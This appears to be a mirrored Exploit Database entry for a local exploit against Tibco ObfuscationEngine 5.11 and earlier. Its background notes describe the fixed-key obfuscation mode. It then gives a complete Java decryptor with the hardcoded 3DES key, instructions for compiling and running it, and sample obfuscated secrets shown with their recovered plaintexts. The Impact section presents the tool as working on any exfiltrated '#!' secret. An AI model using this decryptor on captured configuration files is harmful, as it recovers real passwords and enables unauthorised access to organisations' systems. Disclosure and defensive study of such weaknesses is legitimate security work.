Tibco ObfuscationEngine 5.11 – Fixed Key Password Decryption

Exploit Database
138 阅读

作者： Tess Sluyter

日期： 2020-12-09
类别：
- local
平台：
- multiple
来源：https://www.exploit-db.com/exploits/49221/

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# Exploit Title: Tibco ObfuscationEngine 5.11 - Fixed Key Password Decryption

# Date: December 8th 2020

# Exploit Author: Tess Sluijter

# Vendor Homepage: https://www.tibco.com

# Version: 5.11x and before

# Tested on: MacOS, Linux, Windows

# Tibco password decryption exploit

## Background

Tibco's documentation states that there are three modes of operation for this ObfuscationEngine tooling:

1. Using a custom key.

2. Using a machine key.

3. Using a fixed key.

https://docs.tibco.com/pub/runtime_agent/5.11.1/doc/pdf/TIB_TRA_5.11.1_installation.pdf?id=2

This write-up pertains to #3 above.

Secrets obfuscated using the Tibco fixed key can be recognized by the fact that they start with the characters #!. For example: "#!oe2FVz/rcjokKW2hIDGE7nSX1U+VKRjA".

## Issues

On Tibco's forums, but also on other websites, people have already shared Java code to decrypt secrets encrypted with this fixed key. For example:

* https://support.tibco.com/s/article/Tibco-KnowledgeArticle-Article-30338

* https://community.tibco.com/questions/password-encryptiondecryption

* https://community.tibco.com/questions/deobfuscatedecrypt-namevaluepairpassword-gv-file

* https://community.tibco.com/questions/bw6-password-decrypt

* http://tibcoworldin.blogspot.com/2012/08/decrypting-password-data-type-global.html

* http://tibcoshell.blogspot.com/2016/07/how-to-decrypt-encryptedmasked-password.html

## Impact

Regardless of country, customer, network or version of Tibco, any secret that was obfuscated with Tibco's ObfuscationEngine can be decrypted using my Java tool. It does **not** require access to Tibco software or libraries. All you need are exfiltrated secret strings that start with the characters #!. This is not going to be fixed by Tibco, this is a design decision also used for backwards compatibility in their software.

## Instructions

Compile with:

javac decrypt.java

Examples of running, with secrets retrieved from websites and forums:

java Decrypt oe2FVz/rcjokKW2hIDGE7nSX1U+VKRjA

7474

java Decrypt BFBiFqp/qhvyxrTdjGtf/9qxlPCouNSP

tibco

/* comments!

Compile with:

javac decrypt.java

Run as:

java Decrypt oe2FVz/rcjokKW2hIDGE7nSX1U+VKRjA

7474

java Decrypt BFBiFqp/qhvyxrTdjGtf/9qxlPCouNSP

tibco

import java.io.ByteArrayInputStream;

import java.util.Arrays;

import java.util.Base64;

import javax.crypto.Cipher;

import javax.crypto.SecretKey;

import javax.crypto.spec.SecretKeySpec;

import javax.crypto.spec.IvParameterSpec;

import javax.crypto.CipherInputStream;

import javax.crypto.CipherOutputStream;

class Decrypt

{

public static void main (String [] arguments)

{

try

{

byte[] keyBytes = { 28, -89, -101, -111, 91, -113, 26, -70, 98, -80, -23, -53, -118, 93, -83, -17, 28, -89, -101, -111, 91, -113, 26, -70 };

String algo = "DESede/CBC/PKCS5Padding";

String encryptedText = arguments[0];

byte[] message = Base64.getDecoder().decode(encryptedText);

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(message);

Cipher decipher = Cipher.getInstance(algo);

int i = decipher.getBlockSize();

byte[] ivSetup = new byte[i];

byteArrayInputStream.read(ivSetup);

SecretKey key = new SecretKeySpec(keyBytes, 0, keyBytes.length, "DESede");

decipher.init(2, key, new IvParameterSpec(ivSetup));

// Magic, I admit I don't understand why this is needed.

CipherInputStream cipherInputStream = new CipherInputStream(byteArrayInputStream, decipher);

char[] plaintext;

char[] arrayOfChar1 = new char[(message.length - i) / 2];

byte[] arrayOfByte4 = new byte[2];

byte b = 0;

while (2 == cipherInputStream.read(arrayOfByte4, 0, 2)) {

arrayOfChar1[b++] = (char)((char)arrayOfByte4[1] << '\b' | (char)arrayOfByte4[0]);

}

cipherInputStream.close();

if (b == arrayOfChar1.length) {

plaintext = arrayOfChar1;

} else {

char[] arrayOfChar = new char[b];

System.arraycopy(arrayOfChar1, 0, arrayOfChar, 0, b);

for (b = 0; b < arrayOfChar1.length; b++) {

arrayOfChar1[b] = Character.MIN_VALUE;

}

plaintext = arrayOfChar;

// End of Magic

}

System.out.println(plaintext);

}

catch (Exception ex)

{

System.out.println("Barf...");

System.out.println(ex);

}